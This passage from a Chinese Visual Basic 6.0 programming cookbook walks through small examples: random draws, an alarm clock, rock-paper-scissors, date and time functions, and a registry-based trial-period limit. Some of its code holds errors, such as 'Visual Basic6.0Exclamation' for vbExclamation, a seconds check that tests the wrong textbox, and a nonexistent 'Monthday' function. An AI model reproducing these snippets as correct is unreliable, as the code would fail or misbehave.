秘笈心法

心法领悟181：形参与实参小知识。

形参是在Sub、Function过程中定义的变量名，实参是在调用Sub或Function过程时传送给Sub或Function过程的常数、变量、表达式或数组。形参与实参必须结合才能实现过程调用，这要求形参与实参的类型和个数要相同。



 实例182　幸运抽奖

光盘位置：光盘\MR\06\182

初级

趣味指数：[image: ]




实例说明

本实例设计了一个随机抽奖的程序。运行程序，当用户单击“开始”按钮时，数据开始滚动，当用户单击“抽奖”按钮时，在每个文本框中产生一个0～10的随机数，同时显示在下面的文本框中，程序的运行效果如图6.45所示。

[image: ]
图6.45　随机生成幸运数字



关键技术

本实例主要用到了Timer控件、Rnd函数和Int函数的知识。

（1）Timer控件的使用

通过引发Timer事件，Timer控件可以有规律地隔一段时间执行一次代码。

Timer控件的属性：

❶ Enabled：返回或设置一个值，该值用来确定Timer控件是否能够产生事件作出反应。

❷ Interval：返回或设置对Timer控件的计时事件各调用间的毫秒数。

Timer控件的事件：

Timer：在一个Timer控件预定的时间间隔过去之后发生。该间隔的频率存储于该控件的Interval属性中，它以千分之一秒为单位指定时间的长度。

（2）Rnd函数

Rnd函数用于返回一个大于等于0而小于1之间的随机数，返回值的类型为Single型，语法如下：



Rnd[(number)]




参数说明

number：可选参数，是Single类型或任何有效的数值表达式。

例如，随机生成一个1～7的随机整数，程序代码如下：



Dim MyValue
MyValue = Int((7 * Rnd) + 1)      '生成1～7之间的随机数值




（3）Int函数

该函数返回参数的整数部分，语法如下：



Int(number)




参数说明

number：必选参数。number参数是Double或任何有效的数值表达式。如果number包含Null，则返回Null。

本实例说明Int函数在返回某数值的整数部分时有何不同。当参数为负数时，Int函数返回小于或等于该参数的最大整数。



Dim MyNumber
MyNumber = Int(99.8)           '返回99
MyNumber = Int(-99.8)          '返回-100
MyNumber = Int(-99.2)          '返回–100




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“幸运抽奖”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“幸运抽奖”；添加一个Frame控件，名称使用其默认名称Frame1。

（4）在Frame1上添加一个长度为5的Label控件数组，用于显示抽奖号码；在Frame1上添加一个Label控件，Caption属性设置为“本期中奖号码是”；在Frame1上添加一个TextBox控件，显示中奖号码。

（5）在窗体上添加3个CommadButton控件，Caption属性分别设置为“开始”、“抽奖”和“退出”。

（6）程序的运行代码如下：



Option Explicit
Private Sub Command1_Click()
    Timer1.Enabled = True               '将时钟控制器设置为有效
    Command2.Enabled = True              '将“抽奖”按钮设置为可用
    Command1.Enabled = False             '将“开始”按钮设置为不可用
End Sub
    
Private Sub Command2_Click()
    Timer1.Enabled = False                '将时钟控制器设置为无效
    Text1.Text = Label3(0).Caption & " " & Label3(1).Caption & " " & Label3(2).Caption & " " & Label3(3).Caption & " " & Label3(4).Caption
    '将Label数组中的信息添加到Text2中
    Command2.Enabled = False          '将“抽奖”按钮设置为不可用
    Command1.Enabled = True             '将“开始”按钮设置为可用
    Command3.Enabled = True             '将“退出”按钮设置为可用
End Sub
Private Sub Timer1_Timer()
    Randomize                      '初始化随机数产生器
    Label3(0).Caption = Int(Rnd * 10 + 0)      '在Label3(0)中显示产生的一个0～10的随机数
    Label3(1).Caption = Int(Rnd * 10 + 0)      '在Label3(1)中显示产生的一个0～10的随机数
    Label3(2).Caption = Int(Rnd * 10 + 0)       '在Label3(2)中显示产生的一个0～10的随机数
    Label3(3).Caption = Int(Rnd * 10 + 0)       '在Label3(3)中显示产生的一个0～10的随机数
    Label3(4).Caption = Int(Rnd * 10 + 0)      '在Label3(4)中显示产生的一个0～10的随机数
End Sub




秘笈心法

心法领悟182：Call语句应用小知识。

（1）调用一个过程时，并不一定要使用Call关键字。如果使用Call关键字来调用一个需要参数的过程，argumentlist就必须加上括号。如果省略了Call关键字，那么也必须要省略argumentlis外面的括号。如果使用Call语法来调用内建函数或用户定义函数，则函数的返回值将被丢弃。

（2）若要将整个数组传给一个过程，使用数组名，然后在数组名后加上空括号。



 实例183　自制闹钟

光盘位置：光盘\MR\06\183

中级

趣味指数：[image: ]




实例说明

本实例实现了一个自制闹钟的功能。运行程序，在3个文本框中分别输入时、分、秒，单击“定时”按钮，实现定点闹钟功效，程序的运行效果如图6.46所示。

[image: ]
图6.46　自制闹钟



关键技术

利用TimeSerial函数将文本框Text1、Text2、Text3中字符串组合并转换为时间类型，在控件Timer1的事件中对现在系统时间和设置的时间进行比较，如果相同就播放铃声。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“自制闹钟”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，Caption属性设置为“设置时间”。

（4）在Frame1控件上添加3个TextBox控件和两个Label控件；添加两个CommandButton控件，Caption属性分别设置为“定时”和“退出”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Command1.Enabled = False
    If Val(Text1) < 0 Or Val(Text1) > 24 Then
        MsgBox " 小时数输入错误！ ", Visual Basic6.0Exclamation, "提示信息"
        Text1 = ""
        Text1.SetFocus
        Command1.Enabled = True
    End If
    If Val(Text2) < 0 Or Val(Text2) > 60 Then
        MsgBox " 分钟输入错误！ ", Visual Basic6.0Exclamation, "提示信息"
        Text2 = ""
        Text2.SetFocus
        Command1.Enabled = True
    End If
    If Val(Text3) < 0 Or Val(Text2) > 60 Then
        MsgBox " 秒输入错误！ ", Visual Basic6.0Exclamation, "提示信息"
        Text3 = ""
        Text3.SetFocus
        Command1.Enabled = True
    End If
    Timer1.Enabled = True
    Timer1.Interval = 1000
End Sub
Private Sub Timer1_Timer()
    If TimeSerial(Text1, Text2, Text3) = Time Then
        Call PlaySound(app.path + "\01.wav", 0&, &H0)
        Command1.Enabled = True
    End If
End Sub




秘笈心法

心法领悟183：模块级变量小知识。

模块级变量指在模块的通用声明部分使用Dim语句或者Private语句声明的变量，只能被本模块中的任意过程访问，其他模块不能访问到该变量。当存在更高一级的同名变量（公用常量）时，在该模块中访问这个变量，被访问的变量是这个模块中的模块级变量，并不是更高一级的公用变量。



 实例184　利用Command函数显示图片

光盘位置：光盘\MR\06\184

高级

趣味指数：[image: ]




实例说明

本实例实现了鼠标拖动显示图片的效果，其中利用Command函数可以获取其他文件的路径。例如，本实例将图片拖动到生成的可执行文件上（如图6.47所示），就可以显示该图片（如图6.48所示）。
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	图6.47　拖动图片图标到执行文件上
	图6.48　显示拖动的图片





说明：
 首先添加模块，在模块中写入获取其他文件路径的代码，然后在窗体中添加Image控件并命名为Image1，最后将“工程属性”中“启动对象”设置为Sub Main。

关键技术

本实例通过使用Command函数实现，该函数返回命令行的参数部分，该命令行用于装入Microsoft Visual Basic或Visual Basic开发的可执行程序。



Command




本实例在某个函数中用Command函数获得命令行参数。



CmdLine = Command()   '返回命令行参数




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“Command函数的妙用”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Image控件，名称使用其默认名称Image1。

（4）程序的运行代码如下：



Sub Main()
    On Error Resume Next
    Dim s As String
    s = Command
    If s <> "" Then
        If Right(s, 1) = """" Then  '当字符串右边是双引号时
            s = Left(s, Len(s) - 1)
        End If
        If Left(s, 1) = """" Then   '当字符串左边是双引号时
            s = Right(s, Len(s) - 1)
        End If
        Form1.Image1.Picture = LoadPicture(s)
        Form1.Show
    End If
End Sub
Private Sub Form_Load()
    Me.Width = Screen.Width
    Me.Height = Screen.Height
    Me.Top = 0
    Me.Left = 0
End Sub
Private Sub Form_Resize()
    Image1.Width = Me.Width
    Image1.Height = Me.Height
End Sub




秘笈心法

心法领悟184：End语句小知识。

End语句不调用Unload、QueryUnload或Terminate事件或任何其他Visual Basic代码，只是生硬地终止代码执行。窗体和类模块中的Unload、QueryUnload和Terminate事件代码未被执行。类模块创建的对象被破坏，由Open语句打开的文件被关闭，并且释放程序所占用的内存。其他程序的对象引用无效。



 实例185　石头剪子布

光盘位置：光盘\MR\06\185

中级

趣味指数：[image: ]




实例说明

在窗体左下方的石头、剪子、布图标中，单击用户想要出的一种手势，电脑也会自动地给出一种手势。任一方赢了都会给出相应提示图片信息。程序的运行效果如图6.49所示。

[image: ]
图6.49　石头剪子布小游戏运行界面



关键技术

在开发本程序的过程中主要用到以下几个知识点：LoadPicture函数的使用、Str函数的使用和Trim函数的使用，下面逐一介绍这几个知识点。

（1）LoadPicture函数

该函数将图形载入到窗体的Picture属性、PictureBox控件或Image控件，语法如下：



LoadPicture([filename], [size], [colordepth],[x,y])




LoadPicture函数语法包含的部分说明如表6.10所示。

表6.10　LoadPicture函数语法包含的部分说明



	部分
	描述



	filename
	可选参数。字符串表达式指定一个文件名。可以包括文件夹和驱动器。如果未指定文件名，LoadPicture清除图像或PictureBox控件



	size
	可选变体。如果filename是光标或图标文件，指定想要的图像大小。其设置值见表6.11



	colordepth
	可选变体。如果filename是一个光标或图标文件，指定想要的颜色深度。其设置值见表6.12



	x
	可选变体，如果使用y，则必须使用。如果filename是一个光标或图标文件，指定想要的宽度。在包含多个独立图像的文件中，如果那样大小的图像不能得到时，则使用可能的最好匹配。只有当colordepth设为vbLPCustom时，才使用x和y值。For icon files 255 is the maximum possible value



	y
	可选变体，如果使用x，则必须使用。如果filename是一个光标或图标文件，指定想要的高度。在包含多个独立图像的文件中，如果那样大小的图像不能得到时，则使用可能的最好匹配。For icon files 255 is the maximum possible value




表6.11　size参数的设置值



	常量
	值
	说明



	vbLPSmall
	0
	系统小图标



	vbLPLarge
	1
	系统大图标，由视频驱动程序决定



	vbLPSmallShell
	2
	外壳小图标大小



	vbLPLargeShell
	3
	外壳大图标大小



	vbLPCustom
	4
	自定义大小，由x和y参数提供




表6.12　colordepth参数的设置值



	常量
	值
	说明



	vbLPDefault
	0
	如果使用指定文件，则为最佳可用匹配



	vbLPMonochrome
	1
	2色



	vbLPVGAColor
	2
	16色



	vbLPColor
	3
	256色




（2）Str函数

该函数返回代表一数值的Variant (String)，语法如下：



Str(number)




参数说明

number：必选参数。number参数为一Long，其中可包含任何有效的数值表达式。

本实例使用Str函数将一个数字转换成字符串。当数字转换成字符串时，字符串的第一个位一定是空格或是正负号。



Numstr = Str(256)       '变量Numstr的返回值是" 256"
Numstr = Str(-136.25)    '变量Numstr的返回值是"-136.25"
Numstr = Str(432.01)     '变量Numstr的返回值是" 432.01"




（3）Trim函数

该函数返回Variant (String)，其中包含指定字符串的备份，没有前导和尾随空白，语法如下：



Trim(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。如果string 包含Null，将返回Null。

下面示例使用Trim函数可以将字符串中开头和结尾的空格全部去除。



TrimString = Trim("  abcdefg  ")       ' TrimString = "abcdefg"




下面示例使用Trim函数去除查询语句的空格。



Adodc1.RecordSource = "select * from lbtb where 书籍类别='" & Trim(Combo1.Text) & "'"
Adodc1.Refresh




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，将窗体的Caption属性设置为“石头剪子布”，设置窗体的Picture属性为事先设计好的图片。

（3）在窗体上添加5个PictureBox控件，AutoSize属性设置为True，BoderStyle属性设置为0-None，Picture属性设置为相应的图片。

（4）在窗体上添加3个Image控件，Pictures属性分别设置为“赢”、“输”和“平局”所显示的图片。

（5）单击石头、剪子和布手势的图标进行游戏，并显示出比赛结果，程序代码如下：



Private Sub Pic_Click(Index As Integer)
    Image4.Visible = False
    Image5.Visible = False
    Ige_User.Visible = True
    Ige_computer.Visible = True
    Ige_User.Picture = Ige_boy(Index).Picture
    userIndex = Index
    Dim i As Integer
    Dim s As String
    Ige_computer.Picture = LoadPicture("")
    Randomize
    i = Int((Rnd * 3 + 0))
    Ige_computer.Picture = Ige_girl(i).Picture
    s = CheckGame(Trim(Str(userIndex)), Trim(Str(i)))
    MsgBox s, vbOKOnly, "猜拳结果"
    Image4.Visible = True
    Image5.Visible = True
    Ige_User.Visible = False
    Ige_computer.Visible = False
    Image1.Visible = False
    Image2.Visible = False
    Image3.Visible = False
End Sub




秘笈心法

心法领悟185：将带英文的日期转换为短日期。

利用DateValue函数可将包含英文月份名称的日期型字符串转换为日期型数据，语法：DateValue (Date)，代码如下：



Private Sub Command1_Click()
    Text2.Text = DateValue(Text1)  '日期转换
End Sub






 实例186　七星彩摇奖机

光盘位置：光盘\MR\06\186

中级

趣味指数：[image: ]




实例说明

体育彩票七星彩，简称七星彩是指从0000000～9999999中选择任意7位自然数进行的投注，一组7位数的排列称为一注。例如，中国体育彩票七星彩第09086期的开奖号码为9310273，如图6.50所示。

[image: ]
图6.50　中国体彩网中的七星彩开奖公告



关键技术

购买过彩票的用户都知道，如果不确定自己要购买哪组号码，可以采用机选。下面就来设计一个体育彩票七星彩摇奖机程序。在该程序中，当用户单击“开始”按钮，数字开始滚动，当单击“停止”按钮时，停止滚动，此时窗体中将显示一组号码，这组号码就是您选择的号码了，如图6.51所示。

[image: ]
图6.51　运行结果



设计过程

（1）新建一个标准的EXE工程。

（2）在工程中会默认地创建一个窗体，使用窗体的默认名，设置窗体的Caption属性为“七星彩摇奖机”，设置Icon属性为事先设计好的图标，设置BorderStyle属性为1-Fixed Single，固定单边框，设置MinButton属性为True，用于设置最小化状态，设置Picture属性为事先设计好的背景图片。

（3）在窗体上添加7个Label控件，设置名称为Lbl_LuckyNum的控件数组，index编号为0～6，设置AutoSize属性为True，控件大小随窗体改变；设置BackStyle属性为0-Transparent，透明显示，设置ForeColor属性为白色，文字的前景色为白色。

（4）在窗体上添加一个Timer控件，设置Enabled属性为False，设置Interval属性为100，用于产生随机数。

（5）在窗体上添加两个Image控件，设置Name属性为Img_Start和Img_Stop，并设置Picture属性。再添加另外4个Image控件，设置名称为Img_Start1、Img_Start2、Img_Stop1、Img_Stop2。用于设置在鼠标按下和抬起时的按钮效果。

（6）当用户单击“开始”按钮时，将按钮图片设置为不可用，并将Timer控件设置为可用，触发Timer事件，程序代码如下：



Private Sub Img_Start_Click()
    Img_Start.Enabled = False                                        '设置“开始”按钮不可用
    Timer1.Enabled = True                                            '设置Timer控件不可用
End Sub




当Timer控件被设置为可用状态，将触发Timer控件的Timer事件，在该事件中用于产生随机数，并显示在标签中，程序代码如下：



Private Sub Timer1_Timer()
    Dim i As Integer                                            '定义变量
    Randomize                                                '初始化随机数产生器
    For i = 0 To Lbl_LuckyNum.UBound 
        ' Lbl_LuckyNum(i)中显示产生的一个0～10的随机数
        Lbl_LuckyNum(i).Caption = Int(Rnd * 10 + 0)
    Next i
End Sub




当用户单击“停止”按钮，将Timer控件的Enabled属性设置为False，即停止随机数的产生，并将“开始”按钮设置为可用，程序代码如下：



Private Sub Img_Stop_Click()
    Timer1.Enabled = False                                        '设置Timer控件不可用
    Img_Start.Enabled = True                                        '设置“开始”按钮可用
End Sub




在用户单击“开始”按钮和“停止”按钮时，当鼠标按下和抬起时会有不一样的效果，这里主要是利用MouseDown事件和MouseUp事件以及Image控件的Picture属性来实现的，程序代码如下：



Private Sub Img_Start_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Img_Start.Picture = Img_Start2.Picture                            '切换为“开始”的按下状态的图片
End Sub
Private Sub Img_Start_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Img_Start.Picture = Img_Start1.Picture                            '切换为“开始”的抬起状态的图片
End Sub
Private Sub Img_Stop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Img_Stop.Picture = Img_Stop2.Picture                            '切换为“停止”的按下状态的图片
End Sub
Private Sub Img_Stop_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Img_Stop.Picture = Img_Stop1.Picture                            '切换为“停止”的抬起状态的图片
End Sub




秘笈心法

心法领悟186：将日期转换为Hijri日期。

Hijri历法是伊斯兰历法，采用的是太阴历，但与中国的农历不同。Hijri将每天的傍晚当作一天的开始。将日历属性的常数设置为vbCalHijri，然后利用CDate函数对日期进行转换。代码如下：



Private Sub Command1_Click()
    Calendar = vbCalHijri  '设置日历属性常数
    Text1.Text = CDate(Date)  '显示Hijri日期
End Sub
Private Sub Form_Load()
    Text2.Text = Date  '显示格林尼治时间
End Sub





 6.4　日期函数专栏



 实例187　将AM/PM格式时间转换为普通格式时间

光盘位置：光盘\MR\06\187

初级

趣味指数：[image: ]




实例说明

本实例实现了将AM/PM格式时间转换为普通格式时间。运行程序，在“AM/PM格式”文本框中输入属于该格式的时间，单击“转换”按钮，将其转换为普通格式，程序的运行效果如图6.52所示。

[image: ]
图6.52　将AM/PM格式时间转换为普通格式时间



关键技术

本实例主要是通过使用TimeValue函数来实现的。

TimeValue函数返回一个包含时间的Variant(Date)，语法如下：



TimeValue(time)




参数说明

time：必选参数。time参数通常是一个字符串表达式，表示0:00:00(12:00:00A.M.)～23:59:59(11:59:59P.M.)之间的时刻。但是，time也可以是表示在同一时间范围取值的任何其他表达式。如果time包含Null，则返回Null。

下面示例使用TimeValue函数将字符串转换为时间。



DateStr = TimeValue("4:36:18 PM")      '变量DateStr的返回值为“16:36:18”




下面示例使用TimeValue函数累加计时时间。



mydate = Date
mytime = Time
ttime = TimeValue(ttime) + TimeValue("00:00:01")




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“将AM/PM格式时间转换为普通格式时间”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Label控件，用于显示提示信息，在窗体上添加两个TextBox控件，用于输入数据和显示结果。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“转换”和“取消”，程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = TimeValue(Text1)  '时间转换
End Sub




秘笈心法

心法领悟187：显示AM/PM时间。

利用Format函数将时间格式化为AM/PM格式。语句：Format(date, "Medium Time")，其中"Medium Time"关键字代表将时间以AM/PM格式显示，代码如下：



Private Sub Form_Load()
    Text1.Text = Format(Time, "Medium Time")
End Sub






 实例188　将年、月、日转换为日期

光盘位置：光盘\MR\06\188

初级

趣味指数：[image: ]




实例说明

本实例主要实现了将普通字符串格式年月日转换为日期格式输出。运行程序，分别输入年月日信息，单击“确定”按钮，在窗体上将日期格式的时间显示出来，程序的运行效果如图6.53所示。

[image: ]
图6.53　将年、月、日转换为日期



关键技术

本实例主要是通过使用DateSerial函数来实现的。利用DateSerial函数将年、月、日数据组合成日期型数据。


说明：
 DateSerial函数的详细讲解请参见实例172中的关键技术。


注意：
 当任何一个参数的取值超出可接受的范围时，它会适时进位到下一个较大的时间单位。例如，如果指定了35天，则这个天数被解释成一个月加上多出来的日数，多出来的日数将由其年份与月份来决定。如果一个参数值超出-32768～32767的范围，就会导致错误发生。

下面示例使用DateSerial函数将指定的年月日转换为Date类型的表达式。



DateStr = DateSerial(2005, 6, 6)    '变量DateStr的返回值为“2005-06-06”




下面示例通过DateSerial函数判断该月的天数。



Public Function RDays(MYdate As Date) As Integer
   RDays = (31 - Day(DateSerial(Year(MYdate), Month(MYdate), 31)))
 If RDays = 0 Then     RDays = 31
End Function




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何将年、月、日转换为日期”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Label控件，Caption属性分别设置为“年”、“月”、“日”和“日期为：”；添加3个TextBox控件，用于输入数据。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“确定”和“更改时间”。

（5）程序的运行代码如下：



Dim d As Date
Private Sub Command1_Click()
    Date = d  '更改系统日期
End Sub
Private Sub Command2_Click()
    If IsDate(Text1 & "-" & Text2 & "-" & Text3) = True Then
        d = DateSerial(Text1, Text2, Text3)
        Label4.Caption = "日期为：" & d
    Else
        MsgBox "输入格式错误", ,"信息提示"
    End If
End Sub




秘笈心法

心法领悟188：对象所属类的判断。

在使用对象变量时，可能要根据对象的不同类而采取不同的操作。例如某些对象可能不具有某些个别的属性和方法，为了防止调用对象不存在的属性或方法需要对对象的类型进行判断。

Visual Basic提供了两种方法用以判别对象所属类，即TypeOf关键字和TypeNname函数。

（1）TpyeOf关键字只能在If…Then…Else语句中使用。必须在代码中直接包含类名。例如：



If TpyeOf MyControl Is TextBox Then




（2）TypeName函数则比较灵活，因为返回的是它的类名的字符串返回值。所以可以将它与字符串进行比较，例如：



If TypeName(MyControl) = "TextBox" Then






 实例189　将时、分、秒转换为时间

光盘位置：光盘\MR\06\189

中级

趣味指数：[image: ]




实例说明

本实例主要实现了将普通字符串格式的时分秒转换为时间格式输出。运行程序，分别输入小时、分钟和秒，单击“确定”按钮，在窗体上将时间格式的时间显示出来，程序的运行效果如图6.54所示。

[image: ]
图6.54　将时、分、秒转换为时间



关键技术

本实例主要通过TimeSerial函数实现的。利用TimeSerial函数将小时、分钟和秒数据组合成时间型数据。TimeSerial函数返回一个Variant(Date)，包含具有具体时、分、秒的时间，语法如下：



TimeSerial(hour, minute, second)




参数说明

❶ hour：必选参数；Variant (Integer)。其值从0(12:00 A.M.)～23(11:00 P.M.)，或一数值表达式。

❷ minute：必选参数；Variant (Integer)。任何数值表达式。

❸ second：必选参数；Variant (Integer)。任何数值表达式。

下面示例使用TimeSerial函数将已知的时分秒转换为时间。



DateStr= TimeSerial(16, 35, 17)   '变量DateStr的返回值为 16:35:17 的时间表达式




下面示例使用TimeSerial函数获取系统时间。



datDate = DateSerial(.wYear, .wMonth, .wDay)
datTime = TimeSerial(.wHour, .wMinute, .wSecond)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何将时、分、秒转换为时间”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Label控件，Caption属性分别设置为“小时”、“分钟”、“秒”和“时间为：”；添加3个TextBox控件，用于输入数据。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“确定”和“更改时间”。

（5）程序的运行代码如下：



Dim t As Date
Private Sub Command1_Click()
    Time = t  '更改系统时间
End Sub
Private Sub Command2_Click()
    t = TimeSerial(Text1, Text2, Text3)  '转换为时间
    Label4.Caption = "时间为：" & t
End Sub




秘笈心法

心法领悟189：TimeSerial函数小知识。

（1）为了指定一个时刻，如10:59:59，TimeSerial的参数取值应该在正常的范围内；也就是说，钟点应介于0～23之间，而分钟与秒应介于0～59之间。但是，当一个数值表达式表示某时刻之前或其后的时、分钟或秒数时，也可以为每个使用这个数值表达式的参数指定相对应的时间。

（2）当任何一个参数的取值超出正常范围时，它会适时进位到下一个较大的时间单位。例如，如果指定了75（75分钟），则这个时间被解释成一小时又十五分钟。如果一个参数值超出-32768～32767的范围，就会导致错误发生。如果3个参数指定的时间会使日期超出可接受的日期范围，则亦会导致错误发生。



 实例190　获取星期名称

光盘位置：光盘\MR\06\190

中级

趣味指数：[image: ]




实例说明

本实例主要实现了获取当前日期星期数的名称。运行程序，在文本框1中输入日期型字符串，单击“确定”按钮，在文本框2中显示与文本框1中日期相对应的星期名称，程序的运行效果如图6.55所示。

[image: ]
图6.55　获取星期名称



关键技术

本实例主要是通过利用WeekdayName函数来实现的。

WeekdayName该函数返回一个字符串，表示一星期中的某天，语法如下：



WeekdayName(weekday, abbreviate, firstdayofweek)




参数说明

❶ weekday：必选参数。数字值，表示一星期中的某天。该数字值要依赖于firstdayofweek设置中的设置值来决定。

❷ abbreviate：可选参数。Boolean值，表示星期的名称是否被缩写。如果忽略该值，默认值为False，表明星期的名称不能被缩写。

❸ firstdayofweek：可选参数。数字值，表示一星期中的第一天。

下面示例通过WeekdayName函数根据函数参数值返回具体的星期。



DateStr = WeekdayName(3, False)    '变量DateStr的返回值为星期二




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取星期名称”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“日期：”和“星期：”；添加两个TextBox控件，用于输入和显示数据。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“确定”和“退出”。

（5）程序的运行代码如下：



Private Sub Form_Load()
    Text1.Text = Date
    Text2.Text = WeekdayName(Weekday(CDate(Text1)), vbMonday)
    'vbMonday代表把星期一当作一周的开始
End Sub
Private Sub Command1_Click()
    Text2.Text = WeekdayName(Weekday(CDate(Text1)), vbMonday)
End Sub




秘笈心法

心法领悟190：TimeSerial函数小知识。

Weekday参数的设置返回值与实际的星期相差1，即星期日为1、星期一为2、星期二为3、星期三为4、星期四为5、星期五为6、星期六为7。



 实例191　获取月份名称

光盘位置：光盘\MR\06\191

中级

趣味指数：[image: ]




实例说明

本实例主要实现了获取当前日期月份的名称。运行程序，在文本框1中输入日期型字符串，单击“确定”按钮，在文本框2中显示与文本框1中日期相对应的月份名称，程序的运行效果如图6.56所示。

[image: ]
图6.56　获取月份名称



关键技术

本实例主要是通过利用Monthday函数来实现的。

Monthday该函数返回一个表示指定月份的字符串，语法如下：



MonthName(month[, abbreviate])




参数说明

❶ month：必选参数。月份的数值表示。例如，一月是1，二月是2等。

❷ abbreviate：可选参数。Boolean值，表示月份名是否缩写。如果忽略，默认值为False，表明月份名不能被缩写。

下面示例返回一个表示指定月份的字符串。



DateStr = MonthName(3)    '变量DateStr的返回值为“三月”




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取月份名称”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“日期：”和“月份：”；添加两个TextBox控件，用于输入和显示数据。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“确定”和“退出”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = MonthName(Month(CDate(Text1)))
End Sub
Private Sub Form_Load()
    Text1.Text = Date
    Text2.Text = MonthName(Month(CDate(Text1)))
End Sub




秘笈心法

心法领悟191：Monthday函数小知识。

Monthday函数中的abbreviate参数是Boolean值，表示月份名是否缩写。如果忽略，默认值为False，表明月份名不能被缩写，否则为真则可以进行缩写。



 实例192　创建日历

光盘位置：光盘\MR\06\192

初级

趣味指数：[image: ]




实例说明

本实例主要实现了创建日历的功能。运行程序，将在窗体上显示日历的内容，在日历上可以查找各个年份、各个月份的日期情况等信息，程序的运行效果如图6.57所示。

[image: ]
图6.57　创建日历



关键技术

本实例主要是通过使用MonthView控件创建日历来实现的。MonthView控件可以用来创建一个能够让用户通过日历风格的界面查看和设置日期信息的应用程序。

MonthView控件不是标准的VB控件，需要选择“工程”/“部件”命令在打开的对话框中选中Microsoft Windows Common Controls 6.0（SP6）复选框将其添加到工具箱中。在窗体上添加MonthView控件并命名为MonthView1。通过设置MonthView1的Value的属性选择MonthView1控件中显示的日期。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“创建日历”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个MonthView控件。

（4）程序的运行代码如下：



Private Sub Form_Load()
    With MonthView1
    Value = Date  '设置为当前系统日期
    End With
End Sub




秘笈心法

心法领悟192：获得系统当前日期。

利用Date函数获取系统当天日期，代码如下：



Private Sub Command1_Click()
    Text1.Text = Date
End Sub






 实例193　做成一个有时间限制的测试版

光盘位置：光盘\MR\06\193

中级

趣味指数：[image: ]




实例说明

本实例主要实现了做成一个有时间限制的测试版的功能。在日常生活中人们用到的试用期软件经常会有这种情况。运行程序，程序的运行效果如图6.58所示。

[image: ]
图6.58　做成一个有时间限制的测试版



关键技术

本实例利用GetSetting语句从注册表获取程序已运行的天数，利用SaveSetting语句将已运行的天数保存到注册表中。每次运行程序时，都在注册表中保存程序使用天数，当使用天数超过一定数额时，则禁止使用程序。例如，本例程序试用到本月30号，如果超过本月30号程序将无法运行。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何做成一个有时间限制的测试版”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Load()
    Dim RemainDay As Long
    RemainDay = GetSetting("MyApp", "set", "days", Day(Date))
    If RemainDay >= 30 Then
        MsgBox "试用期已过"
        End
        Exit Sub
    End If
    MsgBox "还剩下" & 30 - RemainDay & "试用天数"
    If Day(Date) - RemainDay > 0 Then
        RemainDay = RemainDay + 1
        SaveSetting "MyApp", "set", "days", RemainDay
    End If
End Sub




秘笈心法

心法领悟193：获得系统当前时间。

利用Time函数获取系统当前日期，代码如下：



Private Sub Command1_Click()
    Text1.Text = Time
End Sub






 实例194　判断经历多少个工作日

光盘位置：光盘\MR\06\194

中级

趣味指数：[image: ]




实例说明

本实例主要实现了计算经历了多少个工作日的功能。运行程序，输入需要计算的开始日期和结束日期，单击“计算”按钮，将经历的工作日数显示在窗体上，程序的运行效果如图6.59所示。

[image: ]
图6.59　判断经历多少个工作日



关键技术

本实例主要是通过使用Weekday函数来实现的。周六周日是休息日，不算工作日。如何判断一段时间经历多少个工作日呢？通过自定义函数进行判断。在自定义函数中通过Weekday函数判断经历的每一天是否为周六或周日，如果不是就给计数器加1。

Weekday该函数返回一个Variant(Integer)，包含一个整数，代表某个日期是星期几，语法如下：



Weekday(date, [firstdayofweek])




参数说明

❶ date：必选参数。能够表示日期的Variant、数值表达式、字符串表达式或它们的组合。如果date包含Null，则返回Null。

❷ firstdayofweek：可选参数。指定一星期第一天的常数。如果未予指定，则以vbSunday为默认值。

下面示例使用Weekday函数将日期转换为星期几。



DateStr = Weekday("June 6,2005")   'DateStr的返回值为2，代表一周的第2天星期一




下面示例显示当前星期和日期。



Dim day As String
Dim n As Integer
lblTime.Caption = Time
n = Weekday(Date)    
If n = 1 Then day = "Sunday"
